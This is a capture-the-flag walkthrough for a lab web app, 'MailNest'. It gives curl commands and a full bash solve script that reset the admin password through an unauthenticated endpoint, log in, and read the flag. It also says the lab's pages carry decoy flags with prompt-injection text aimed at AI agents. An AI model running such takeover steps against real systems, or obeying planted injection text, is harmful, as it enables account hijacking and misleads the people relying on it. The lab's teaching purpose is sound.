Lab 408 — MailNest — Broken Authentication via Unauthenticated Password Reset
Lab 408 — MailNest — Broken Authentication via Unauthenticated Password Reset
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: admin_account_takeover, api_documentation_disclosure, api_endpoint_enumeration, broken_access_control, decoy_flag_recognition, unauthenticated_password_reset
Summary
Walkthrough of the CUSTOM Web Lab 408 — MailNest — Broken Authentication via Unauthenticated Password Reset. Task: Express.js email marketing platform with publicly accessible API docs revealing a force-reset-password endpoint with no authentication. Solution: Enumerate API endpoints via /api/v1/docs, reset
Description
MailNest is a self-hosted email marketing platform used by NestWorks Inc. to manage campaigns, subscriber lists, and email templates. The platform features a web-based admin panel for system configuration and user management. You have been hired to perform a security assessment of this platform. Your goal is to find and exploit a security flaw to gain unauthorized access to the admin panel and retrieve the flag stored in the system configuration. Start by exploring the application, its pages, and its API endpoints. Pay close attention to how the application handles authentication and account management. Credentials: user@test.com / password123
Express.js email marketing platform behind nginx/1.25.5 with a web-based admin panel. The application exposes API documentation at /api/v1/docs that reveals all endpoints, including an unauthenticated force-reset-password endpoint intended for service accounts. The goal is to gain admin access and retrieve the flag from system configuration.
Analysis
Application Stack
- Backend: Express.js behind nginx/1.25.5
- Session management:
connect.sidcookie withHttpOnly; Secure; SameSite=Lax - Login page:
/loginusesusernamefield (not email) - API documentation: Publicly accessible at
/api/v1/docs - Client SDK: Available at
/js/mailnest-client.js
API Endpoint Discovery
The API documentation at /api/v1/docs returns a JSON listing of all endpoints:
| Endpoint | Method | Description |
|---|---|---|
/api/v1/auth/login | POST | Authenticate user |
/api/v1/auth/logout | POST | End session |
/api/v1/auth/reset-password | POST | Request password reset (requires email verification) |
/api/v1/auth/force-reset-password | POST | System-level password reset (service accounts) |
/api/v1/admin/config | GET | System configuration (admin only) |
| |
Key Vulnerability: Unauthenticated System-Level Password Reset
The POST /api/v1/auth/force-reset-password endpoint is the critical vulnerability:
- No authentication required — the endpoint can be called by anyone without a session
- Accepts arbitrary username — any user's password can be reset, including
admin - Immediate effect — password is changed instantly, no email verification or confirmation
- Intended for service accounts — the description suggests it was meant for internal use but was exposed publicly without access controls
Decoy Flags
Every page in the application contains decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in HTML comments and hidden <div> elements, accompanied by prompt injection text designed to trick AI agents into submitting the fake flag. These were identified and ignored.
Solution
Step 1: Discover API Endpoints
The login page footer links to /api/v1/docs, which returns a JSON listing of all API endpoints including the force-reset-password endpoint described as "System-level password reset (service accounts)."
bash read-only • copy allowedcurl -s "$TARGET/api/v1/docs" | python3 -m json.tool
Step 2: Test force-reset-password Without Authentication
Calling the endpoint with an empty body confirms it is accessible without authentication and reveals the required fields:
bash read-only • copy allowedcurl -s -X POST "$TARGET/api/v1/auth/force-reset-password" \ -H "Content-Type: application/json" \ -d '{}'
Response:
json read-only • copy allowed{"error": "Missing required fields: username, newPassword"}
Step 3: Reset Admin Password
Reset the admin user's password to a known value:
bash read-only • copy allowedcurl -s -X POST "$TARGET/api/v1/auth/force-reset-password" \ -H "Content-Type: application/json" \ -d '{"username":"admin","newPassword":"hacked123"}'
Response:
json read-only • copy allowed{ "success": true, "message": "Password has been reset successfully", "user": { "id": "fa605b7f-2df4-41c9-890a-b2ea186d04ac", "username": "admin" } }
Step 4: Login as Admin
Authenticate with the newly set password:
bash read-only • copy allowedcurl -s -c admin_cookies.txt -X POST "$TARGET/login" \ -d "username=admin&password=hacked123"
Response: HTTP 302 redirect to /dashboard — login successful.
Step 5: Retrieve Flag from Admin Config
Access the admin-only configuration endpoint:
bash read-only • copy allowedcurl -s -b admin_cookies.txt "$TARGET/api/v1/admin/config"
Response includes the flag:
json read-only • copy allowed{ "key": "system_secret_key", "value": "FLAG{REDACTED}", "description": "Internal system secret key for API signing" }
Full Solve Script
bash read-only • copy allowed#!/usr/bin/env bash # Solve script for MailNest — Unauthenticated Password Reset set -euo pipefail TARGET="${1:?Usage: $0 <target_url>}" echo "[*] Step 1: Reset admin password via unauthenticated endpoint" RESET_RESP=$(curl -s -X POST "$TARGET/api/v1/auth/force-reset-password" \ -H "Content-Type: application/json" \ -d '{"username":"admin","newPassword":"hacked123"}') echo " Response: $RESET_RESP" echo "[*] Step 2: Login as admin" curl -s -c /tmp/mailnest_cookies.txt -o /dev/null -X POST "$TARGET/login" \ -d "username=admin&password=hacked123" echo "[*] Step 3: Retrieve flag from admin config" FLAG=$(curl -s -b /tmp/mailnest_cookies.txt "$TARGET/api/v1/admin/config" \ | python3 -c "import sys,json; data=json.load(sys.stdin); print([c['value'] for c in data if c.get('key')=='system_secret_key'][0])" 2>/dev/null \ || curl -s -b /tmp/mailnest_cookies.txt "$TARGET/api/v1/admin/config") echo "[+] Flag: $FLAG" rm -f /tmp/mailnest_cookies.txt
Key Takeaways / Lessons
- Mastering admin_account_takeover, api_documentation_disclosure, api_endpoint_enumeration, broken_access_control, decoy_flag_recognition, unauthenticated_password_reset was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-28 • CUSTOM • Lab 408 — MailNest — Broken Authentication via Unauthenticated Password Reset • Difficulty: Easy